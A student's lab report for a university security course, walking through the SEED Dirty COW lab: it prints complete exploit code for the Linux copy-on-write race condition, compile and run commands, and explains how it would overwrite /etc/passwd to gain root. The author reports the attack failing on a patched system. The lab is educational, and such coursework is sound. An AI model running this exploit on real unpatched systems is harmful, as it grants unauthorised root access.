Year and Semester	2018 FALL
Course Number	CS-336
Course Title	Intro. to Information Assurance
Work Number	LA-05
Work Name	Dirty Cow
Work Version	Version 1
Long Date	Sunday, 2 December 2018
Author(s) Name(s)	Zane Durkin

Abstract

In this article I will be explaining in detail the Tasks I preformed during the SEED security lab5.

0 Lab environment

The Dirty cow attack is a vulnerability in the copy-on-write code in the linux kernel. This attack exploits the race condition that is created when a file that has read permissions, is copied to make a duplicate version for editing. The vulnerability allows the user to write to what is supposed to be a read only file.

1 Task 1: creating a vulnerable file

This task is to write to a read only file using the Dirty COW vulnerability.

1.1 Create a Dummy File

Since I won't want to corrupt any of my current files, I'll create a dummy file called zzz in the root directory. I'll make this file read only for normal users, and I'll fill it with some random content that I can edit later. I'll create the file using the following command

```
sudo touch /zzz
```

And now I need to make it read only for normal users. I can do this with the following command[1]:

```
sudo chmod 644 /zzz
```

Now to add some random text to the file

```
sudo cat >> /zzz << EOF
111222333
EOF
```

Now that I have a read only file in the root folder, with some data in it, I can run my attack against this file to try and change it to replace the 2's with *'s.

1.2 setting up Memory Mapping Thread

I'll need to download the cow_attack.c from the seed website. This program is not that complex and can be broken down into three threads: the Main thread, the write thread, and the madvise thread. The first thread opens the /zzz file and maps it to memory, and then it find where the 2's are in the text (or whatever pattern I choose to find). Once this is found, it spawns two new threads to start the race condition.

This code is explained with comments here[1]:

```
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;
// Open the target file in the read-only mode.
  int f=open("/zzz", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
```

```
  char *position = strstr(map, "222");
// We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size);
  pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
```

1.3 Setup the write thread

The writing thread will attempt to replace the 2's in the memory with *'s . Since the memory type is COW, this thread will not be able to modify the underlying file, and will only be able to make a copy of the mapped memory.[1]

```
void *writeThread(void *arg)
{
    // The characters to replace place in the file
  char *content= "***";
    // the offset that the new text should go
  off_t offset = (off_t) arg;
    // opening the file for read write permissions
  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}
```

1.4 Madvise Thread

The final thread is the madvise thread. This thread will only work on discarding the private copy of the mapped memory. This will cause the page table to point the memory back to the original file.
This function will look like this[1]:

```
void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}
```

1.5 Launch the attack

In order for the attack to work, the madvise system call and the write system call need to be invoked in a way that creates a race condition. This is why they are split into their own threads. If they were called in the same thread, one call would always finish before the other, and thus it would ensure that there is always a secure mapping of the file before writing.
To compile the code I'll run the following command

```
gcc cow_attack.c -o cow_attack -lpthread
```

And I can run the attack using

```
./cow_attack
```

I can leave this program running for a while to see if it is able to edit the /zzz file[1].

I left this program running for 3 minutes and I still could not change the /zzz file (the change was suppose to only take a few seconds). Perhaps this os is already patched?

2 Task 2: Modify the Password File to Gain the Root Privilege

Since I was unable to edit the Dummy file, I won't be able to edit the /etc/passwd file to give myself root access. If I did have the ability to edit the Dummy file, I would need to change my user Id in the passwd file to 0. The zero ID is used in linux to signify the root user[1]. Currently my ID is about 2000, which is just a number assigned when my user was created. But the root user will always be ID 0 since it is the user that has unrestricted access to the entire system. To use the dirty cow attack I would replace the 2's in the main function with my current ID. And then I would replace the *'s with the ID I wish to have (being the zero ID).

3 Fixing exploit

For systems that are vulnerable to this attack, I would suggest updating the operating system to get the latest patches.

References

[1] Wenliang Du, S. U. Shellshock attack lab, 2017.